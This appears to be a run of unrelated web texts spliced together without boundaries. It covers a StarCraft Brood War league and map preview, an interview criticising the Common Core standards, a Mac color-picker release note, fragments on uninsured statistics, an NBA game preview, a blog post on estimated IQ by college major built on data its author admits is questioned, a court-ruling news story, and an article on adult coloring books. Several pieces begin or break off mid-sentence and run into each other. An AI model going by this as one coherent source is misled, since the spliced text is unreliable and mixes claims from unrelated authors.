two years since the conclusion of Tving OSL. As Jangbi defeated Fantasy and was crowned the winner, reality started to set in. After an amazing run of 14 years since the first OSL back in 1999, this was the end of professional BW. We thought it would never again air on OGN and all the players would be forced to switch to its predecessor or retire. This was a bitter pill to swallow for us, the fans who had followed the game for many years and the players who had their livelihood cut short, not out of necessity but out of greed and backroom dealings based on rumours swirling around at the time.I'll give you a minute to let that sink in... This was a dreamyet it's become reality, a miracle! Sonic has managed to surpass all expectations and realized our shared dream of bringing BW back to the big screen. Don't mistake this for the end though, this is just the beginning of something grand! This is history in the making! It's now up to us, the fans, to help BW reach greater heights and spread our love for the greatest RTS of all time!A lot of doubt surrounded this season's group selection ceremony. The reason? A smaller league organized by Kongdoo* (KSL) was announced only days before Sonic's planned schedule announcement for the SSL. That alone could be attributed to bad communication but the fact that two of the top performing players, Sea and Bisu, would not be playing in Sonic's league while participating in the KSL was disturbing, to say the least.While Bisu had announced that he would not be participating in SSL 10 soon after winning the last season due to the competition being too exhausting and Sea was soon to be joining the military, there was no stopping to the rumours and speculations about the two parties fighting over viewers and players. The idea of the long expected SSL becoming an "OSL of amateurs" was an unpleasant one and Sonic's announcement of a 128 player selection tournament, which would have under different circumstances been accepted as a great move, made many fans even more sceptical about the number of ex-progamers he secured for the league.After days of the rumours not going away, HungryApp (the broadcasting team for the KSL) announced that the two parties were cooperating to make both leagues a success. The SSL group selection was finally announced but, as if testing the loyalty of his fans, Sonic only revealed six names: JangBi, Mind, ZerO, ToSsGirL, HiyA and free. Surely it could not be just these superstars joined by a rank of no-name amateurs? Despite the doubts, the fans proved their loyalty to Sonic and Brood War by once again coming in overwhelming numbers. And the lucky ones that could fit into the Yongsan eSports Stadium certainly didn't leave disappointed.It may take some time for the speculations over Bisu and Sea chosing not to participate in the bigger league to die off. But a healthy scene cannot rely on only one or two key players, especially if both have yet to serve their military services. If this was a test, Sonic has dealt the way the always does - by giving us much more than we even dared to wish for.Hundreds of hours of gosu FPVs for free are but one of the treats today Brood War fans get on a weekly basis. Throughout the professional era of Korean StarCraft, progamers were distant figures to most of us. Figures we loved or hated, figures we cheered on, figures we could argue over for hours, but how relevant was ever the average Liquidian to the Korean scene? Say you were big time into Brood War until five years ago. If you were to think that the hype threads, articles, highlight reels or forum cheerfuls you produced here on TeamLiquid back in 2009 mattered to the players or the proscene at all, you would be - absolutely correct. But most of these contributions came with a significant lag, for the foreign scene only becomes relevant now.With many players heavily relying on direct fan support in the form of donations, every voice is starting to count - regardless of where it comes from. Sending the players balloons (Afreeca donations) may still be a nightmare of a task to achieve outside of Korea, but there are other ways of getting involved. As players let fans in on their practice sessions, hiding their personalities becomes impossible and many end up holding regular fan meetings. It is becoming clear that our heroes recognize the need to stay in touch with their fans and to always keep expanding their fanbase. One by one, more streamers use various SNS to ask their fans for support before matches, share some fun moments from their lives or upload highlights of their streaming sessions. With that, the players enter our world - the world of Facebook and YouTube.Never before was supporting your favorites as simple as it is now, and never before was it as important. Of course the major organizers like Sonic/OnGameNet (SSL) or Kongdoo/HungryApp (KSL) also keep up with the modern world and it is imperative that all Brood War fans subscribe to their news feeds and like every single Brood War related post they come up with. You may have already noticed the Afreeca feed thread which gathers and translates most of the relevant content while providing links to the source for your convenience. Now is the time we start paying back for all the years of free entertainment!A new beginning, but a familiar battlefield.The Starleague, albeit as the Sonic Starleague this time round, once again returns to the Yongsan e-Sports Stadium, home of where Brood War was at in its peak. Thought to be dead, it rises from the ashes once more to grace Brood War fans across the world with this timeless masterpiece.And how fitting is it that it will not be new maps that will encompass this league, but the return of some of the most classic maps in its 15 year history. We'll start off with the most unique map in this map pool – Sin Peaks of Baekdu.One of the most memorable and unique maps of its time, Sin Peaks of Baekdu (and its very different predecessor, Peaks of Baekdu) was one of the first few maps to truly implement long expanded ramps after the famous Ride of Valkyries. This led to the creation of hills and for players to fully utilise the high ground advantage, adding in a new dynamic factor to the playstyles of each race.This map was also one of the first few maps to utilise “selective pathing” as well, allowing small collision size units to pass through a path, somewhat similar to the ramps on 815 and semi-destroyed path on Troy. In short, units like marines and hydras could use the direct path from one base to the other, whereas biger units like tanks and ultralisks had to make a long detour.In addition, unlike the maps of today, expansions are further spread out and are harder to defend due to the lack of choke points leading to the expansions. This makes turtling a very punishable option, which may throw many players adapt to the current meta off their guard.In those days, it was not uncommon to see many games where players shed blood while running on two or three expansions. The maps favored the aggressor and in my opinion, that is what Sonic and his team had in mind when they decided to include this map into the pool. To bring back the head-on approach that peaked in 2006-2007 era and to reduce the macro-oriented play that plagued the scene in the 2010s, and there is no other candidate to encourage this than this brilliant 2 player map.A very balanced matchup on paper, but with the current skill level of players, a matchup I believe will have the greatest change.Historically, Terrans always had the advantage over Zergs due to Terrans being able to keep up with the Zerg in terms of unit econimical efficiency and army mobility, while being vastly superior when in greater numbers. Zergs always had to have the upper hand by utilising their units to their greatest potential, be it with Zerglings, Mutalisks or Defilers. But much has changed in the 8 years since the introduction of this map, and Zergs are all now able to carry out such high level of multitasking with ease. With this map, Terrans are no longer viable to transit into late game mechanic as it is neither a four player map nor is it a map with many easily defendable expansions. Going mechanic also severely limits the pathing available to the Terran player as it would mean the middle direct path is cut off. Terrans are now forced back into the days of SK Terran and/or other Bio-heavy army combination, giving Zergs a much easier time in the late game scenario.With Zergs now having the multitasking skills to do more than their predecessors did, I believe Terrans will have a rougher time on this map as compared to any other map, not only in defending their expansions and their main, but also in keeping their army alive from multipronged attacks that can come raining down from the hills.The biggest hardship that one can see for Protosses on this map is how open the natural is. Hydra rush was very common due to the direct path that they can take, and both Zergs and Protosses were very aggressive with their early-mid game army composition.For the swarm, it was either the muta harass or the zergling/hydra bust attempts or contains that kept Protoss on their toes for this map. Unlike other more conventional maps, the Protoss cannot simply get away with a forge fast expand on this map. Although good position and a well placed zealot/probe can prevent zergling runbys, it is the follow up pressure that killed many Protoss. In addition, the Protoss has no other way out of the main other than by the mineral-blocked second ramp in their main or via shuttle drops. A good Zerg keeps the Protoss army in check and is able to contain the Protoss for a long time. By playing aggressively and destroying the forge upgrading the +1 attack, the Zergs are more or less able to secure their wins on this map should they play reasonably aggressive enough.The Protoss however had to play innovatively on this map. Some of the popular builds on this map were +1 speed zealot/corsair builds that allowed the Protoss to save their gas for High Templars, 1 base play into slow cannon leapfrog expand, and expanding to their third base while pushing out with their zealot/HT/sair army, as well as Dark Templar rushes and/or pressure. Dark Templars were very effective on this map as having expansions that were far away from each other meant as long as the Protoss could apply pressure on at least one expansion, the Zerg had to redirect their forward army or their reinforcements away from the Protosses' natural to deal with the pressure, giving a timing window for the Protoss to get out of their contain. As taking their third without pushing out is fairly difficult due to the far distances of the third, corsair/reaver builds may make a return as the Protoss try to take advantage of the high grounds to control the zoning of the map.The map forces the Protoss to invest a lot into zealots and cannons, so I am personally excited for this welcomed (even if it is forced) change of playstyle for this lineup, as it prevents the kind of mid-late game-centric playstyle found on maps like Fighting Spirit and All Or Nothing. Expect certain compositions to make a return here, such as the aforementioned +1 speedlot/sair build or reaver/corsair build.I now leave you with one of the best games from 2006, the classic Nal_rA vs sAviOr game on this map to show you what kind of games this map can produce.The absolute Reaver/Carrier and Dark Templar nightmare map for Terrans, this map probably produced the most carrier builds aside from Katrina and the most Dark Templar rushes in PvT history. The sheer advantage for Protoss that Dark Templars can take the direct route while the Terran mech army cannot is a great timing advantage for the Protoss, using Dark Templars to buy enough time to get their expansion up and prepare for the late game early, with either carriers or the less-frequent (back then) arbiter builds.Reaver openings were also common due to the terrain layout of the mains, the natural and the subsequent hills between the bases. Having a short by air distance between main and natural meant the Protoss can consistently apply pressure alternatively between the two of them, keeping the Terran locked in their base. In addition, with the first hill being so close to the natural, it not only acts as a holding ground against Terran, but also enables the Protoss to easily scout and keep track of the Terran's army movement.The stats may be deceiving as it feels like Terrans can have a decent time against Protoss on this map, but many of the wins were due to sloppy control and misplays by the Protoss, such as Anytime hilariously building (but later cancelling) two Fleet beacons. The map also handicaps any form of mech rush, thus it is likely we will see Protoss trying to get this towards the late game, and this will be advantageous for the Protoss. As I mentioned earlier in the previous Sonic Starleague preview, Terrans have to take down multiple expansions with their deathball push. But the layout of the map's expansions prevents this severely, and with limited movements around the map forcing the Terran army to move only clockwise and counter-clockwise while the Protoss can harass with zealots, dark templars and use recalls, the Terrans will have a hard time throughout the entire game. Expect some clear Protoss advantages on this map.All in all, this map is a wonderful start to bring about some old, refreshing and most importantly, aggressive playstyles back into the current meta. I have always advocated maps being less macro-oriented and to reward early to mid-game plays, and this is the ideal map to bring back to make this happen.Three of the Korean amateur scene's heavy hitters meet in the opening group of the SBENU Starleague, with sSak and ZerO all seeking to make a significant impact on the later stages of the competition. Rounding out the group is force[Name], a fallen titan from the early days of the SoSPA scene and former SSL champion.Movie's record since his retirement from progaming has been the best of the players in this group, but his form has faded since his initial rise through the ranks of the Afreeca scene, as sSak hinted in the group selection ceremony.. sSak and Movie provide perhaps the most interesting match-up of this group, as Movie historically possesses one of the best PvT match-ups of any player in the scene, although not on the level that we have come to expect from Bisu or Snow in 2014. sSak, meanwhile, has shown some excellent PvT recently in a Bo5 against Bisu but has yet to defeat any of the Korean Amateur scene's premier Protoss in a major tournament.Up until this point, ZerO's career in the Korean Amateur scene has been something of a disappointment. Crashing out of SSL9 in the Ro16 having dominated his Ro32 group (in the process eliminating back to back champion Killer), the former Woongjin ace's ZvZ and ZvT are simply not what we expect of a player of his progaming pedigree and there's a sense that even if he is to make it out of this group, his progress in the tournament will always be limited by his ability to beat a good Terran player in a BoX. Fortunately for ZerO, his ZvP has been the one thing upon which he has been able to rely since his return to Brood War, and he is well equipped to challenge Movie if the two were to meet.Long past his prime and with skills massively eclipsed by the refinement and experience of the huge ex-pro contingent now populating Afreeca, force[name] is the clear underdog in this group and would need to play perhaps the best Starcraft of his life to even have a chance of making it out of this group. Still, stranger things have happened and he has taken a map off Movie before (albeit almost two years ago now).ZerO's form in the recent LoveTV SponLeague suggests that he could be ready to progress to the level that we know he ought to be capable of and make a real push for the latter stages of this league, while Movie's abusive style and consistent success may paper over the cracks that have been appearing in his play since SSL9. sSak is a much less knowable quantity, but has both the skill and the experience (having finished third in SSL8) to do some real damage in this group. It all hangs in the balance in the days preceding the opening matches but for one of these three players, SSL10 will be over before it began.andto advance.This is an even stronger group, and a lot depends on whether our surprise contestant really shows up or not. Mini, the dark horse survivor of SSL9's Ro32 group of P, decided that he was more confident against the mysterious firebathero than the monstrous PianO and Killer and kept the group as it was. Last we heard, he had a surge in foreign activity in September, wiping the floor with the best ever Latvian LAN party and beating Scan for iwL in the iCCupCL finals. How he’s been faring against the Koreans on Fish is a well-kept secret, but if anything, it's safe to assume that TvP is still his worst matchup, and he may need to play it twice to advance.PianO has been topping the Fish ladder with multiple accounts and winning minor tournaments all year in stylish, Starport-heavy fashion, while Killer, the only Golden Shoe candidate and SoSPA's very own king of silver, has been steadily building momentum since his embarrassing early elimination in SSL9. While Killer's ZvT record has, for his entire career in the Korean amateur scene, been the one thing that differentiated him from all the other Zerg contenders, he faces an extremely tough match-up against PianO, whose 77.5% win rate in ZvT gives him one of the most dominant single match-up records of any player in the tournament.While Killer and PianO are the most likely pair to advance from this exceptionally strong group, Mini's winning record against both players in his relatively long but sparse career in the Korean amateur scene means that if things go his way, he may be able to spring a major surprise over two much more well established players. FBH, as he was for almost his entire career as a progamer, is a wildcard. While he has shown that he clearly hasn't forgotten about Brood War entirely since his departure from ACE in 2013, he had by far the strongest career of any player in this group as a pro and his TvT and ZvT qualities may allow him to turn back the clock and advance from a very tough group.Definitely the group to watch out for in the first half, this has the potential to be either an incredibly closely fought battle between four highly skilled players, or a straightforward advancement for two of 2014's amateur scene stalwarts.andto advance.Two of the most in-form newcomers to the amateur scene, Fish ladder monster Last and PvT maverick Snow are most likely to make it out of what looks like quite a straightforward group on paper. Kwanro, however, always has a few tricks up his sleeve (spoiler: the tricks are zerglings) and his run through SSL9 shows that anything is possible if youtry hard enough. Closing out the group is former SSL champion Shinee, whose consistently strong gameplay on the Fish ladder is matched only by his consistently poor performances in offline SSL tournaments over the past two years.At his best, Kwanro can certainly disrupt the expected progress of this group but given his struggles since SSL9 versus both the best and the worst the Korean amateur scene has to offer, he is equally likely to lose to the unfavoured Shinee and crash out 0-2. Perhaps the one thing he has on his side is a decent ZvP which has been his least embarrassing match-up in the year since his SSL9 fourth place.Last's dominance of Fish over the last year has yet to be reflected in his tournament performances, with his recent participation in LoveTV Sponmatches not inspiring a great deal of confidence in his ability to perform when more than ladder points are on the line. Having been one of the most consistently impressive players on Afreeca since SSL9, now is the time for Last to bring his skills to bear when it really counts and make good on the promise he has shown both during his amateur career and also in the final days of Brood War Proleague, when he had begun to displace now SC2 superstar Bogus as STX's Terran ace.Former CJ player and SSL debutante Snow has continued the trend that existed through his progaming career, demolishing some of the scene's best Terran players on his way to a 70% PvT win rate in 2014. Snow has the winning record against both Last and Kwanro this year, and he's practically got a free win in the making against Shinee. With the massive inconsistency of Kwanro and the lack of good tournament performances by Last, he is the clear favourite to advance in first place. Last and Kwanro will need to play at their absolute peak to even stand a chance of disrupting the former CJ player's progress into the Ro16.Shinee is the only Group C player who's actually won an SSL, but that was in another era of SOSPA, and the Skyscraper Terran is up against veritable wrecking balls of every race. He will need to show the same kind of all-round qualities that his Ever clanmate Last did earlier this month, as he blew through NsP in the Hope Clanleague finals playing versus all three races. However, Shinee's past performances in offline tournaments with much weaker player pools (giving rise to sub 40% TvP and TvT win-rates) suggest that such a performance is well beyond him and the best he can hope for appears to be a respectable 1-2 exit.Perhaps the least open of the first four groups of the SBENU Starleague, we are left hoping for Kwanro to revive the skill or the luck that carried him through SSL9 to keep things interesting in what should otherwise be quite straightforward for NsP clanmates Last and Snow.andto advance.With Mong's consistent success in the Korean amateur scene stretching back beyond the end of the professional scene, the only question with this group seems to be who will make it out in second place. Joining the ex-CJ Terran in Group D is SoSPA old-hand Sea.KH, former SKT captain Hyuk and the most successful female Brood War progamer of all time,Returning from a long hiatus from individual leagues, it will be exciting to see how SSL3 winner Sea.KH matches up against the aggressive, tricky Mong and the heavy-handed Hyuk. We have little to go on regarding Sea.KH's current skill level, but he had no weak match-ups during his heyday 2011/2012 and was one of the top Protoss players in the amateur scene prior to the influx of ex-pros following the end of Brood War progaming in Korea. In contrast to Sea.KH, Mong has gone from strength to strength since the arrival of progaming retirees, with consistently impressive showings against each new generation of SC2 refugees. While Mong's TvP isn't the absolute best in the scene, his losses tend to come against well established ex-pro players and he should have little trouble dealing with Sea.KH.During his progaming career, Hyuk was a streaky, clutch player with an infamous tendency to throw huge advantages away. It's likely he'll need to play his worst match-up (ZvT) twice in order to advance but given the presence of ToSsGirL, is unlikely to crash out 0-2. The ultimate outcome of this group hinges on the meeting between Hyuk and Sea.KH, where Hyuk will be playing versus a race which he has the greatest amount of success as a progamer. This is perhaps a best case scenario for Hyuk, who has failed to impress since first arriving on the scene in July and losing in his signature ZvP match-up to the likes of Lazy.The most famous and well established player in this group by far is the one who appears the least likely to have any impact at all on its outcome. If ToSsGirL were to take a game, let alone advance from this group, it would be a Christmas miracle andto advance.Stratos, BigFan, konadora, Mirabel_ & kjwcjInsidiA, prech & Hydeprech & kjwcjFollow me on Twitter at @AnthonyCody
As the Common Core standards now are being promised to fix everything in the world of education, I remain a skeptic. Scholar and author Alfie Kohn wrote this essay on the subject back in 2010. This week I asked him to share his current thoughts.
Question 1. Where do you think the drive for Common Core standards is coming from?
Alfie Kohn: I don't think we have to speculate; the answer is pretty clear: While some educational theorists have long favored national standards -- and got nowhere with the idea in the '90s -- the current successful push has come principally from corporate executives, politicians, and testing companies. This time they managed to foster the illusion that because the federal government, per se, isn't mandating it, they're not really "national" but just "core" standards, even though all but four states have signed on. It's rather like the effort to reframe vouchers as "choice." They've also been very shrewd this time about co-opting the education organizations by soliciting their counsel. These groups are so desperate for a "seat at the table" of power that they've agreed to confine the discussion to the content of the standards rather than asking whether the whole idea makes sense for children.
If your question is read more broadly -- not just "Who are the players?" but "What's the ideological underpinning?" -- then all you have to do is look at the rhetoric on the Core Standards website, read the defenses published elsewhere, listen to the speeches: This move toward even greater top-down control and uniformity is almost always justified in terms of "competing in the global economy." It's not about doing well, but about beating others. And it's not about intellectual depth and passion for learning, but about dollars and cents.
Question 2: Supporters believe these new standards will move us away from the narrow focus on reading and math tests that has been the downfall of NCLB. What do you think?
Alfie Kohn: Clearly it will encompass more than reading and math, but the question is whether that leads to the narrowing of other disciplines as well, particularly since these new standards will be yoked to some sort of one-size-fits-all test. That's been the dilemma of the whole corporate-styled, test-driven approach to "accountability" and school "reform" for some time now: If you teach English-language learners or kids with special needs, or if you're concerned about social studies, science, or the arts, you're tempted to say, "Test us, too, so we won't be neglected!" But it's like a dysfunctional family, where the main alternative to neglect is abuse. To impose overly specific, prescriptive standards -- enforced with standardized tests -- is to lower the quality of any field or the education of any population of students.
Question 3. What's wrong with making our curriculum more rigorous?
Alfie Kohn: My dictionary defines "rigorous" as harsh, burdensome, rigid. How is that beneficial? In most educational contexts, the word is basically equated with difficulty: A more rigorous school, classroom, text, or test, is merely one that's harder -- that is, one in which more students will not succeed. As I've argued elsewhere, it's not just that something can be too hard as surely as it can be too easy, although that's surely true (and not always acknowledged). The more important point is that difficulty level shouldn't be our primary basis for evaluating something. I've visited classrooms where the assignments weren't particularly hard but were incredibly rich, engaging, and valuable. And I've been to classrooms that were rigorous-with-a-capital-R that I wouldn't send my dog to.
Question 4. Would broad curricular guidelines of any sort be helpful?
Alfie Kohn: Some would, sure, depending on how democratic the process is by which they're formulated, what educational goals they promote, what approach to learning they reflect, and so on. But most standards in American education aren't broad, nor are they guidelines: They end up being quite specific (reflecting a commitment not to excellence but to behaviorism) and they quickly become mandates. As I pointed out in an on-line conversation with Gene Wilhoit more than two years ago, the Core Standards proponents have tried to have it both ways: They keep reassuring teachers that the standards aren't going to interfere with teachers' autonomy, that it's just about pedagogy but not curriculum (or is it the other way around? the two of course are inextricably linked), that educators have nothing to fear -- but at the same time the major selling point of these standards, the whole basis for the claim that they're going to raise the bar and restore America to its proper role of world domination is rooted in the uniformity and specificity of the standards. Just take a look at the track record of the groups behind this initiative -- Achieve, Inc. and other organizations of corporate executives and governors -- and it's not hard to guess which of these two prongs is for real and which is just public relations.
What do you think? Will the Common Core Standards on the whole be beneficial for students?
Alfie Kohn is the author of 12 books on education and human behavior, including The Schools Our Children Deserve, Punished by Rewards, The Case Against Standardized Testing, and, most recently, Feel-Bad Education.Updated Antetype OS X Color Picker : 1.3.1
UPDATE: New Version available (1.4.1) with up / down arrow and scroll support.
Antetype 1.3 was recently launched with a new feature called Style Editors. The Style Editors are focused on a single styling aspect and open inline in the document. One way that editing a document is quicker with the Style Editors is that values can be changed using the up and down arrows and the scroll wheel on a mouse.
We have added these changes into the stand-alone Antetype Color Picker too which has been released today with these modifications and some performance improvements.
The 6 number inputs (H,S,B,R,G & B) have been enhanced by adding support for mouse / trackpad scrolling or keyboard up and down arrows.
Up / down arrows
To work with the arrow keys, once a field has focus you can use up or down arrow to increment or decrement a value by 1. You can jump in steps of 10 rather than 1 by pressing the shift key with the up or down arrow.
Scroll wheel support
The input field doesn’t need to be focused if you work with the scroll wheel (or 2 fingers on a trackpad). To use the scroll wheel support mouseover the input you would like to change and then simply scroll up or down.
Steppers
All the number controls also have steppers to their right so that you can if you choose use these to change the values. As with using the arrow keys on the keyboard you can increase the steps from 1 to 10 using the shift key.
64 bit only support
With this version of the Antetype Color Picker we have dropped support for 32 bit programs. This is an issue if want to use the Color Picker from 32 bit apps, for example Pages 09, Numbers 09 or Keynote 09, only the latest versions of these apps are 64 bit.
If you rely on the Antetype Color Picker in these apps then we would suggest you remain with version 1.2.0.
Installation
You first need to download the zip file that contains the Color Picker.
To install the color picker, first extract the zip filecopy the extracted
AntetypeColorPicker.colorPicker
file to the folder:
“~/Library/ColorPickers”
N.B. To navigate to your Library folder hold down the option key when viewing the Go menu in Finder.
As ever please post any feedback.
—
This post is part of a series of posts about Antetype 1.3.From supercomputers, to smartphones, the Linux operating system is everywhere.
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This is a promotional ScienceAlert Academy post, in partnership with StackCommerce. We carefully vet all courses and products to make sure they're relevant to our readers, and make a share in the profits of any sales.The Census Bureau has finally released definitive statistics on the number of uninsured in 2014 and the news is not good for Obamacare (unless, of course, you have abysmally low expectations for government performance). The population-wide uninsured rate fell from 14.5% in calendar year 2013 to 11.7% in 2014. The total number of uninsured dropped from 45.2 million in 2013 to 36.7 million in 2014--a net of 8.5 million who gained coverage |
end up becoming a lot more competitive than originally expected.
That said, a lot will fall on the shoulders of Jabari Parker, who’s going to be one of Milwaukee’s top options right out of college.
Like Paul Pierce in Brooklyn this past season, Kidd will likely play Parker at the power forward spot a lot this year, creating match up problems for the opposing teams. Parker scored 11 points and grabbed 10 rebounds in last night’s victory over the Philadelphia 76ers, and he’ll likely be matched up against Nene for most of the night.
Parker is one of the most versatile players to come out of this year’s NBA Draft, and the Washington Wizards have struggled to guard “stretch fours” in the past. Milwaukee has added some scoring, and it’s important for the Wizards to make Parker work for his points tonight. If he gets hot, like he’s shown the capability of doing, the Wizards might be in for a game tonight.
Prediction:
If the Washington Wizards want to become a top team in the Eastern Conference, they can’t lose games to the Milwaukee Bucks at home.
John Wall is coming off a 30 point, 12 assist performance against the Orlando Magic, and it’s clear that he wants to step up in the absence of Beal. Washington dropped a 16 point lead against Orlando and have struggled against the Bucks in the past. They’ve come out flat against weaker teams last year, and that can’t be the case this season.
Averaging 21 points thus far, O.J. Mayo is having a bounce back season in Milwaukee and he’s also capable of winning games. Brandon Knight is also averaging close to 18 points and 11 assists in two games, and he’s given John Wall trouble when they’ve matched up. With Larry Sanders back in the lineup, the Bucks’ perimeter players are able to focus more on the offensive side of the floor and have been more productive as a result.
Even though they’ve improved a lot, I still think the Washington Wizards will get a comfortable victory over the Milwaukee Bucks tonight. Washington hasn’t done a great job of rebounding tonight, but they should have a significant advantage tonight, especially if Kidd opts to play small lineups. Young teams typically turn the ball over a lot as well, and that should benefit the Washington Wizards’ transition game.After all the controversy that arose after I posted my breakdown of college majors by gender last week, I promised myself I’d stay away from controversial gender-related topics for a while. But when I ran across an ETS-curated data set of average student IQs by college major, I couldn’t avoid putting this visualization together. Below, I plotted several college major’s estimated average student IQ over the gender ratio of that major.
The result? A shockingly clear correlation: the more female-dominated a college major is, the lower the average IQ of the students studying in the major. A naive reader may look at this graph and conclude that men are smarter than women, but it is vital to note that, on average, men and women have about the same IQ.
By popular request, here’s an interactive version of the above chart: https://plot.ly/~etpinard/330/us-college-majors-average-iq-of-students-by-gender-ratio/
IQs are typically classified as follows:
130+: Very superior intelligence
120-129: Superior
110-119: Above average
90-109: Average
Considering that many of the female-dominated majors heavily involve interpersonal interactions, my initial thought was that this all made sense: Women are widely known to be more socially-inclined and nurturing than men, so we would expect to see them dominate fields that heavily involve people. But how does that explain the drastic IQ differences between male- and female-dominated fields, if the average man and woman have the same IQ?
The answer comes from the fact that the IQ score here is estimated from the students’ SAT score. This isn’t an altogether unreasonable approach: Several studies have shown a strong correlation between SAT scores and IQ scores. But if we break down the SAT score by Verbal and Quantitative, we see why this IQ estimation is potentially misleading.
If we re-make the first plot against the Verbal SAT score, we see that it’s basically a wash: there’s no correlation between a major’s gender ratio and the average student’s Verbal SAT score.
When we plot the students’ Quantitative SAT score against the major’s gender ratio, we see the negative correlation appear again. This tells us that the original plot is actually showing preference for quantitative majors: The higher the estimated IQ, the more quantitative/analytical the major, and the fewer women enrolling in those majors.
This brings up an interesting question of how valuable the SAT is as a standardized test across all majors, if a higher SAT score is really only indicating that the student is better at solving quantitative/analytical problems. Not all majors require a high analytical aptitude, after all.
Technical bits
Some of my readers requested the R^2 for the above plots. Here they are:
The R^2 on the IQ vs major’s gender ratio graph is 0.601
The R^2 on the Verbal SAT vs. major’s gender ratio graph is 0.019
The R^2 on the Quantitative SAT vs. major’s gender ratio graph is 0.738
The R^2 between Quantitative SAT score and Verbal SAT score is 0.027
For those who want to know what R^2 means: http://en.wikipedia.org/wiki/Coefficient_of_determination
Notice about the IQ data
Since I posted this article, the veracity of the IQ data set has been brought into question. I think StatisticBrain is a fairly reliable data source, but I write this here so readers can come to their own opinion about what this data shows, and how much to trust it.
The data source says “Graduate Record Examination scores” then goes on to list SAT scores. Which is it? According to this comment, the scores listed are pre-2011 GRE scores, which can be found on the ETS web site here. The IQ estimates appear to have been performed separately from ETS, perhaps by StatisticBrain.
So what does this mean for the graphs above? The IQ estimates are representative of students who are in their last year of undergraduate studies (or have already graduated) and are intending to apply to one of the majors. That makes the IQ estimates an imperfect sample, as some students may be changing majors for graduate school. I’d like to see this analysis redone with the SAT scores of students tied to their final undergraduate college major rather than intended graduate school major.Kevin Daley, DCNF
The U.S. Court of Appeals for the D.C. Circuit ruled that a group of left-wing demonstrators may face federal charges for disrupting proceedings at the Supreme Court in an opinion that cited the hit American comedy “My Cousin Vinny.”
A group of activists styled “99Rise,” who advocate against corporate political expenditures, heckled the justices during oral arguments April 1, 2015, one day before the first anniversary of the Court’s McCutcheon v. FEC decision, which struck down individual limits on aggregate campaign contributions. One-by-one, the activists shouted anti-corporate slogans and criticized the justices for previous campaign finance decisions. The group managed to film their demonstration inside the courtroom, an astonishing feat given that all observers must pass through a security checkpoint, beyond which electronics of any kind are not permitted.
“Give them stiff, stiff sentences,” the late Justice Antonin Scalia said, as marshals removed the protestors from the Court.
Five individuals from 99Rise were charged under a federal law which prohibits observers from making a “harangue” or an “oration” during proceedings at the high court. They in turn challenged the constitutionality of the law, arguing it was unconstitutionally vague.
Writing for a three-judge panel, Judge Janice Rogers Brown concluded that the terms are well-defined and generally understood to refer to speech-making.
“That ‘harangue’ and ‘oration’ may not roll off the average person’s tongue today does not alter their possession of a settled meaning around public speeches,” she wrote.
Judge Brown concluded by noting the group’s outburst was comparable to a famous scene from “My Cousin Vinny” wherein Judge Chamberlain Haller admonishes Vinny Gambini for his poor decorum. She writes:
Their coordinated standing, facing the bench, and messaging indicate the Appellees were addressing the Court and gallery. Cf. MY COUSIN VINNY (20th Century Fox 1992) (Judge Chamberlain Haller: “Don’t talk to me sitting in that chair!... When you’re addressing this court, you’ll rise and speak to me in a clear, intelligible voice.”). Viewed objectively, these alleged acts could easily be considered speeches to a public assembly that tended to disrupt the Court’s operations—conduct covered by § 6134’s prohibition of “make a harangue or oration.
The case will now return to a lower court for further proceedings.
Follow Kevin on Twitter
Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact [email protected]In 2011, the British publishing house Laurence King asked Johanna Basford, a Scottish artist and commercial illustrator specializing in hand-drawn black-and-white patterns for wine labels and perfume vials, to draw a children’s coloring book. Basford suggested instead that she draw one for adults. For years, she told her publishers, her clients had loved to color in her black-and-white patterns. The publishers were convinced, and ultimately ordered an initial print run for “Secret Garden: An Inky Treasure Hunt and Coloring Book” of thirteen thousand copies. Since the book’s release, in 2013, it has sold about two million copies worldwide; for a time earlier this year, “Secret Garden” and a follow-up, “Enchanted Forest: An Inky Quest and Coloring Book,” were the two best-selling books on Amazon. “If someone saw you coloring in one of my books, they wouldn’t give you a weird look, because it’s the same kind of artwork you would see on a champagne bottle,” Basford told me. “The artwork itself is sophisticated––not like a car or a bunny with a bow in its hair.”
Coloring books for adults have been around for decades, but Basford’s success—combined with that of the French publisher Hachette Pratique’s “Art-thérapie: 100 coloriages anti-stress” (2012), which has sold more than three and a half million copies worldwide, and Dover Publishing’s “Creative Haven” line for “experienced colorists,” which launched in 2012 and sold four hundred thousand copies this May alone—has helped to create a massive new industry category. “We’ve never seen a phenomenon like it in our thirty years of publishing. We are on our fifteenth reprint of some of our titles. Just can’t keep them in print fast enough,” Lesley O’Mara, the managing director of British publishers Michael O’Mara Books, wrote to me about their own adult-coloring-books catalogue.
The trend has been fuelled to some degree by social media—colorists post their elaborate creations on Facebook and Pinterest, garnering fans and offering pro tips on things like Prismacolor versus gel pens, or how to make that tricky owl in the corner pop—and by marketing that associates them with such therapeutic ends as anxiety- and stress-reduction. But it is also part of a larger and more pervasive fashion among adults for childhood objects and experiences. This “Peter Pan market” has roots in publishing, beyond coloring books (the growth in sales of children’s and young-adult books to much older readers has been well documented), but it is far from confined to that arena.
Summer camps for adults, for example, have also gone from curiosity to viable enterprise. Following a near-death experience, Fidget Wigglesworth (birth name: Levi Felix), then the vice-president of a successful dot-com, turned off his phone and went backpacking for two and a half years with his partner, Brooke Dean; when they returned, in 2012, they founded Camp Grounded, a “Digital Detox” experience for which campers relinquish their electronic devices and engage instead in stargazing and sing-alongs. In 2013, Adam Tichauer founded Camp No Counselors, a summer camp for adults, in upstate New York; it has since expanded to Chicago, Nashville, and Los Angeles, and this year’s sessions are nearly sold out, at up to five hundred and seventy-five dollars per weekend. The camp’s “most quintessential” event, according to its F.A.Q. page, is Color War, which involves everything from tug-of-war to apple bobbing to flag design—practically every childhood activity except coloring.
Another example is Preschool Mastermind, a series of weekly preschool classes for adults in Brooklyn: participants make crafts with glitter glue, have naptime, and pose for class pictures, with sessions priced on a sliding scale from three hundred and thirty-three dollars to nine hundred and ninety-nine. “Play is different than ‘playing along,’ ” Michelle Joni Lapidos, the organizer of the sessions, wrote to me. “Play breeds physical health and mental well-being. People who didn’t play growing up become serial killers and stuff.”
